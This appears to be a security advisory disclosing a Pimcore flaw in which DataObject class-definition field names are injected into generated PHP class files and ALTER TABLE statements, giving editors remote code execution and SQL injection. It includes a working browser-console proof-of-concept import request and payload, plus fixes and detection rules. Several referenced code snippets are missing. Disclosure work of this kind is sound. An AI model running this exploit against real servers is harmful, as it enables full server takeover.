Pimcore EUVD-2026-67871

Overview

A DataObject class-definition field name is concatenated, without an identifier allowlist, into the PHP class source that Pimcore generates for every DataObject class (protected $<fieldName>;). A user holding only the ordinary objects (DataObjects) permission can import a class definition whose field name closes the property and injects arbitrary PHP into the generated class file, achieving remote code execution on the server. The same unvalidated field name is also concatenated into ALTER TABLE DDL (ADD COLUMN/ADD INDEX), giving a parallel SQL-injection primitive. This is a sibling of CVE-2026-5394 (composite-index column SQL injection); that fix hardened only the compositeIndices sink and left the field-name path untouched.

Impact

Any authenticated user with the objects permission - the standard permission for content editors who work with DataObjects, not an administrator or a dedicated "classes" permission - can:

1. Execute arbitrary PHP on the server (RCE). The injected code runs in the web application's PHP process when an object of the affected class is loaded (and is re-executed on every load), with full access to the application, its database credentials, secrets, and the host filesystem/OS - i.e. full server compromise.
2. Execute arbitrary ALTER TABLE DDL (SQL injection) against the DataObject store/query tables (drop columns, add indexes, corrupt schema).

Confidence (read with the Reproduction section). The RCE sink - the real builder emitting attacker PHP into the generated class body, that class loading, and its __construct() executing a shell command - is runtime-confirmed in an isolated harness (see Reproduction → "Lab confirmation"). The remaining links of the end-to-end chain are reasoned from source but not yet run end-to-end on a live Pimcore: (a) the Studio import path (generateLayoutTreeFromArray → save) preserving the field name without transform/reject; (b) the persistent-field DDL step not aborting the save (addressed by the ≤64-byte gadget); and (c) Pimcore instantiating the object (new, e.g. via DataObject::getById()) so __construct() fires - autoloading alone executes only top-level class-body code, not the constructor. Treat the RCE as sink-confirmed + chain-reasoned, not as a fully-executed live exploit.

Because the injected PHP executes with the privileges of the PHP runtime (typically the web-server user) and reaches the operating system - beyond the authority of the Pimcore application account the attacker started from - the scope is assessed Changed (S:C), consistent with Pimcore's own scoring of the analogous Custom-Reports SQL injection (GHSA-3234-gxc3-pq6f, AV:N/AC:L/PR:L/UI:R/S:C, 8.7); the result here is RCE rather than read-only SQLi, yielding 9.9 Critical. S:C is the one debatable metric: a reviewer who scores the impact within the single PHP/OS authority as S:U lands at AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High. The severity floor is therefore High regardless of the scope interpretation.

Technical Details

Source → sink (RCE)

Pimcore generates a PHP class file for every DataObject class. The property block is built in lib/DataObject/ClassBuilder/FieldDefinitionPropertiesBuilder.php:

`$key` is the field name. The string is assembled into a class body in `lib/DataObject/ClassBuilder/ClassBuilder.php:104-112` (`class <Name> extends <...> {\n` + properties), written to `var/classes/DataObject/<Class>.php`, and autoloaded/included. A field name such as:

produces a valid class body containing an attacker-defined __construct() that executes when an object of the class is loaded.

That the maintainers know name→PHP-generation requires an identifier allowlist is shown by the sibling enum-option generator, which does enforce one:

The field-name path has no equivalent.
### Parallel SQL-injection sink

The same field name is concatenated, with backtick **string** quoting (not `quoteIdentifier`), into DDL:

Source: models/DataObject/ClassDefinition/Dao.php:228 → $this->addModifyColumn($objectDatastoreTable, $key, $value->getColumnType(), '', 'NULL'), $key = field name. A backtick in the field name breaks out of the quoted identifier.

Contrast the patched composite-index sink, now guarded by an allowlist and quoteIdentifier (models/DataObject/Traits/CompositeIndexTrait.php).

Why validation does not stop it

The complete field-name validation across the import → save path:

1. models/DataObject/ClassDefinition/Service.php:296 (generateLayoutTreeFromArray): preg_match('/<.+?>/', $name) - rejects only angle-bracket names. Backtick, ;, {}, (), quotes, spaces all pass.
2. 2. models/DataObject/ClassDefinition/Data.php:1292 (isForbiddenName()) - a reserved-word denylist (in_array(strtolower($name), FORBIDDEN_NAMES)), no character filtering.
3. 3. models/DataObject/ClassDefinition.php:1149 - validates the class name/id only.

No allowlist is applied to field names. The Studio UI enforces an identifier pattern client-side; the API does not.

Reachability / privilege

The HTTP entry point (pimcore/studio-backend-bundle):

#[Route(self::ROUTE, name: 'pimcore_studio_api_class_definition_import', methods: ['POST'])] #[IsGranted(UserPermissions::DATA_OBJECTS->value)]      // UserPermissions::DATA_OBJECTS = 'objects' public function importClassDefinition(string $id, #[MapUploadedFile] UploadedFile $file): JsonResponse { return $this->jsonResponse( $this->classDefinitionService->importClassDefinitionFromJson($id, $file->getContent()) ); } ```

`importClassDefinitionFromJson` → `ClassDefinitionRepository::importFromJson` → model `save()` → `saveClassInternal()`, which runs the DDL (`getDao()->save()`) and then the PHP class generation (`generateClassFilesInternal()`). The endpoint requires only the `objects` permission (`PR:L`) and performs no field-name validation of its own. The single authorization gate is the route-level `#[IsGranted('objects')]`; a DataObject **class definition** is global schema (not a workspace-scoped element), so no element-/workspace-level secondary authorization applies to the import - `objects` alone reaches the sink, which is what anchors `PR:L`. This is the same import endpoint used in the CVE-2026-5394 PoC.
### Execution order

In `saveClassInternal()`: field denylist check → class-name regex → `getDao()->save()` (DDL sink fires) → `generateClassFilesInternal()` (PHP-gen sink fires). The SQLi triggers first; the RCE payload either uses a non-persistent field type (no `ADD COLUMN`) or a ≤64-byte DDL-valid name so the DDL step does not abort before PHP generation.
## Reproduction
### Lab confirmation of the RCE sink (runtime, verified)

Using the **unmodified** `FieldDefinitionPropertiesBuilder` source driven by a minimal `ClassDefinition` whose single field name is a PHP payload (full harness in the attached `rce_harness.php`):

Observed (php:8.3-cli):

The real builder emitted a class body containing the attacker's `__construct()`, and loading the class executed the injected command.
### End-to-end PoC (browser console, against the Studio API)

const CLASS_ID = "REPLACE_WITH_A_THROWAWAY_TEST_CLASS_ID";

const fieldName = 'x;function __construct(){touch("/tmp/pimcore_rce_poc");}//';

const def = { layoutDefinitions: { name: "pimcore_root", fieldtype: "panel", datatype: "layout", children: [ { name: fieldName, fieldtype: "input", datatype: "data", title: "poc" } ] } };

const fd = new FormData(); fd.append("file", new Blob([JSON.stringify(def)], { type: "application/json" }), "import.json");

fetch(/pimcore-studio/api/class/definition/configuration-view/detail/${CLASS_ID}/import, { method: "POST", credentials: "include", body: fd, }).then(r => r.json()).then(console.log); `

Steps:

1. As a user with only the objects permission, create/own a throwaway DataObject class and note its id (CLASS_ID).
2. 2. Open DevTools → Console and run the snippet above. Expected: a success JSON for the import (the class is regenerated).
3. 3. Load any object of that class (open it in Studio, or request it) to autoload the regenerated var/classes/DataObject/<Class>.php.
4. 4. Confirm /tmp/pimcore_rce_poc was created on the server - proving the field name executed as PHP.

Q0a / Q0b

• Q0a (vendor accepted-risk): not by-design. The sibling enum-option generator enforces an identifier allowlist (SelectOptionsEnumBuilder.php:188 /^[A-Z-a-z_][A-Za-z0-9_]*$/) and the composite-index fix added one - the field-name path simply lacks the equivalent. Source-verified: the only import-path field-name check is Service.php:297 preg_match('/<.+?>/', $name) (angle-brackets only; ;{}(), spaces, backtick all pass), and FieldDefinitionPropertiesBuilder.php:30 concatenates the raw $key into protected $<name>;. No upstream allowlist gate exists. PASS.
• Q0b (venue-routed dedup; venue = github-security-advisory): sibling/incomplete-coverage of CVE-2026-5394 / GHSA-r2f4-ff2p-xc64 (DataObject composite-index SQL injection), whose fix hardened only CompositeIndexTrait. The field-name → PHP-codegen RCE (FieldDefinitionPropertiesBuilder) and the field-name → ALTER TABLE DDL (Helper/Dao.php) are distinct, unfixed sinks. Not covered by GHSA-3234 (Custom Reports SQLi, different feature). Not a duplicate. CLEAR.
• Secondary sink noted: Service.php:517 also concatenates the raw field name into a generated PHP string literal (public const FIELD_... = '<name>';) - a second codegen-injection point (string-literal breakout via '), same root cause; the allowlist fix closes both.

Suggested Fix

Apply an identifier allowlist to field names at the model boundary, identical in spirit to the enum-option guard and the composite-index fix. In models/DataObject/ClassDefinition/Data.php (e.g. in setName() or a central validity check invoked from saveClassInternal()), reject any name not matching /^[a-zA-Z][a-zA-Z0-9_]{0,62}$/:

Additionally, defense-in-depth: use `quoteIdentifier()` for `$colName`/`$indexName` in `models/DataObject/ClassDefinition/Helper/Dao.php`, and never interpolate identifiers into generated PHP without allowlisting. Enforce the same check in the Studio import controller/service so client-side-only validation cannot be bypassed via the API.

**Privilege-model fix (root cause, separate from the input filter).** A class-definition import changes the database schema and generates server-side PHP, yet it is gated only by the content-editor `objects` permission. Gate class-definition import/save behind a dedicated administrative permission (or `admin`), distinct from `objects`.

**Operator-side detection / mitigation (deployable today, before a patch):**

- **Detection:** File Integrity Monitoring on `var/classes/DataObject/*.php` - alert on unexpected changes, and specifically on the appearance of `function`/`__construct(` tokens in a generated class body. Raise the class-definition-import audit event to a high-priority alert. Flag any non-admin POST to `.../class/definition/configuration-view/detail/*/import`.
- - **Interim mitigation:** restrict the import endpoint to administrators via a custom security voter; or disable class-definition import in production; or add a WAF rule limiting POST `.../class/definition/configuration-view/detail/*/import` to trusted operators.
### Additional codegen-injection sinks sharing this root cause

The same "unvalidated identifier → generated PHP" pattern exists at **other identifier boundaries**:

- **Class NAME → `ClassBuilder.php:104`**: `'class '.ucfirst($classDefinition->getName()).' extends '...`. The only gate is `ClassDefinition.php:1149` `preg_match('/^[a-zA-Z]\w+/', getName())` - **missing the `$` end-anchor**, so `Foo){};<php>` passes the prefix match.
- - **FieldCollection / ObjectBrick KEY → `FieldCollectionClassBuilder.php:58`** (`'class '.ucfirst($definition->getKey()).' extends '`) and the objectbrick equivalent - reached via their own import endpoints.
**Exploitability caveat:** unlike the runtime-confirmed field-name vector, the class-name vector is **NOT independently confirmed as RCE** and has a structural blocker. The class name determines the generated file's path, and PHPClassDumper writes the file but does not include it - the generated class is executed only when the autoloader maps a clean class reference. The field-name vector is reliable precisely because it keeps the filename clean. The class-name/key sinks are therefore reported here as **fix-completeness / defense-in-depth** (anchor the regex), not as a second confirmed RCE.
## Disclosure Timeline

- 2026-05-29: Discovered (sibling sweep of CVE-2026-5394); RCE sink runtime-confirmed in a lab harness using the unmodified builder source.
- - (Reported to vendor: to be filled on submission via GitHub Security Advisory.)